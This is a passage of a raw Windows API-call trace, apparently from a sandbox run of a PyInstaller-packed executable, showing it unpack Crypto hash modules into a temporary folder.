[0034.557] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.557] CloseHandle (hObject=0x10c) returned 1 [0034.557] GetLastError () returned 0x0 [0034.557] SetLastError (dwErrCode=0x0) [0034.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.557] GetFileType (hFile=0x10c) returned 0x1 [0034.557] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.557] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.558] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.558] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.558] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.558] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.558] CloseHandle (hObject=0x10c) returned 1 [0034.558] GetLastError () returned 0x0 [0034.558] SetLastError (dwErrCode=0x0) [0034.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA512.pyd") returned 69 [0034.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA512.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha512.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.558] GetLastError () returned 0x2 [0034.558] SetLastError (dwErrCode=0x2) [0034.558] GetLastError () returned 0x2 [0034.558] SetLastError (dwErrCode=0x2) [0034.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA512.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA512.pyd", lpFilePart=0x0) returned 0x44 [0034.558] GetLastError () returned 0x2 [0034.558] SetLastError (dwErrCode=0x2) [0034.558] GetLastError () returned 0x2 [0034.558] SetLastError (dwErrCode=0x2) [0034.558] GetLastError () returned 0x2 [0034.558] SetLastError (dwErrCode=0x2) [0034.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA512.pyd") returned 69 [0034.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA512.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha512.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.558] GetFileType (hFile=0x10c) returned 0x1 [0034.558] htonl (hostlong=0x860000) returned 0x8600 [0034.559] WriteFile (in: hFile=0x10c, lpBuffer=0x562d70*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562d70*, lpNumberOfBytesWritten=0x4fcd00*=0x8000, lpOverlapped=0x0) returned 1 [0034.562] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.562] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x600, lpOverlapped=0x0) returned 1 [0034.563] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.563] CloseHandle (hObject=0x10c) returned 1 [0034.564] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d70 | out: hHeap=0x530000) returned 1 [0034.564] htonl (hostlong=0x30000000) returned 0x30 [0034.564] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.565] GetFileType (hFile=0x10c) returned 0x1 [0034.565] htonl (hostlong=0x95020300) returned 0x30295 [0034.565] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7b295, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.565] htonl (hostlong=0xa50e0000) returned 0xea5 [0034.565] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xea5) returned 0x55d270 [0034.565] htonl (hostlong=0xa50e0000) returned 0xea5 [0034.565] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.565] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.565] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.565] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e00) returned 0x561090 [0034.565] htonl (hostlong=0xa50e0000) returned 0xea5 [0034.565] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e98 [0034.566] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e98 | out: hHeap=0x530000) returned 1 [0034.566] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.566] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.566] CloseHandle (hObject=0x10c) returned 1 [0034.566] GetLastError () returned 0x0 [0034.566] SetLastError (dwErrCode=0x0) [0034.566] GetLastError () returned 0x0 [0034.566] SetLastError (dwErrCode=0x0) [0034.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.566] GetFileType (hFile=0x10c) returned 0x1 [0034.566] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.566] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.566] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.566] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.566] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.566] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.566] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.566] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.566] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.566] CloseHandle (hObject=0x10c) returned 1 [0034.567] GetLastError () returned 0x0 [0034.567] SetLastError (dwErrCode=0x0) [0034.567] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.567] GetFileType (hFile=0x10c) returned 0x1 [0034.567] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.567] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.567] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.567] CloseHandle (hObject=0x10c) returned 1 [0034.567] GetLastError () returned 0x0 [0034.567] SetLastError (dwErrCode=0x0) [0034.567] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_clmul.pyd") returned 74 [0034.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_clmul.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_ghash_clmul.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.567] GetLastError () returned 0x2 [0034.567] SetLastError (dwErrCode=0x2) [0034.567] GetLastError () returned 0x2 [0034.567] SetLastError (dwErrCode=0x2) [0034.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_clmul.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_clmul.pyd", lpFilePart=0x0) returned 0x49 [0034.567] GetLastError () returned 0x2 [0034.567] SetLastError (dwErrCode=0x2) [0034.568] GetLastError () returned 0x2 [0034.568] SetLastError (dwErrCode=0x2) [0034.568] GetLastError () returned 0x2 [0034.568] SetLastError (dwErrCode=0x2) [0034.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_clmul.pyd") returned 74 [0034.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_clmul.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_ghash_clmul.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.568] GetFileType (hFile=0x10c) returned 0x1 [0034.568] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.568] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.569] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe00, lpOverlapped=0x0) returned 1 [0034.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.569] CloseHandle (hObject=0x10c) returned 1 [0034.570] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.570] htonl (hostlong=0x30000000) returned 0x30 [0034.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.571] GetFileType (hFile=0x10c) returned 0x1 [0034.571] htonl (hostlong=0x3a110300) returned 0x3113a [0034.571] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7c13a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.571] htonl (hostlong=0x2d0f0000) returned 0xf2d [0034.571] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf2d) returned 0x55d270 [0034.571] htonl (hostlong=0x2d0f0000) returned 0xf2d [0034.571] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.571] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.571] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.571] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e00) returned 0x561090 [0034.571] htonl (hostlong=0x2d0f0000) returned 0xf2d [0034.571] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.571] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e98 [0034.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e98 | out: hHeap=0x530000) returned 1 [0034.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.572] CloseHandle (hObject=0x10c) returned 1 [0034.572] GetLastError () returned 0x0 [0034.572] SetLastError (dwErrCode=0x0) [0034.572] GetLastError () returned 0x0 [0034.572] SetLastError (dwErrCode=0x0) [0034.572] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.572] GetFileType (hFile=0x10c) returned 0x1 [0034.572] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.572] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.572] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.572] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.572] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.572] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.572] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.572] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.572] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.572] CloseHandle (hObject=0x10c) returned 1 [0034.573] GetLastError () returned 0x0 [0034.573] SetLastError (dwErrCode=0x0) [0034.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.573] GetFileType (hFile=0x10c) returned 0x1 [0034.573] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.573] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.573] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.573] CloseHandle (hObject=0x10c) returned 1 [0034.573] GetLastError () returned 0x0 [0034.573] SetLastError (dwErrCode=0x0) [0034.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_portable.pyd") returned 77 [0034.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_portable.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_ghash_portable.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.573] GetLastError () returned 0x2 [0034.573] SetLastError (dwErrCode=0x2) [0034.573] GetLastError () returned 0x2 [0034.573] SetLastError (dwErrCode=0x2) [0034.573] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_portable.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_portable.pyd", lpFilePart=0x0) returned 0x4c [0034.573] GetLastError () returned 0x2 [0034.574] SetLastError (dwErrCode=0x2) [0034.574] GetLastError () returned 0x2 [0034.574] SetLastError (dwErrCode=0x2) [0034.574] GetLastError () returned 0x2 [0034.574] SetLastError (dwErrCode=0x2) [0034.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_portable.pyd") returned 77 [0034.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_ghash_portable.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_ghash_portable.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.574] GetFileType (hFile=0x10c) returned 0x1 [0034.575] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.575] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.576] 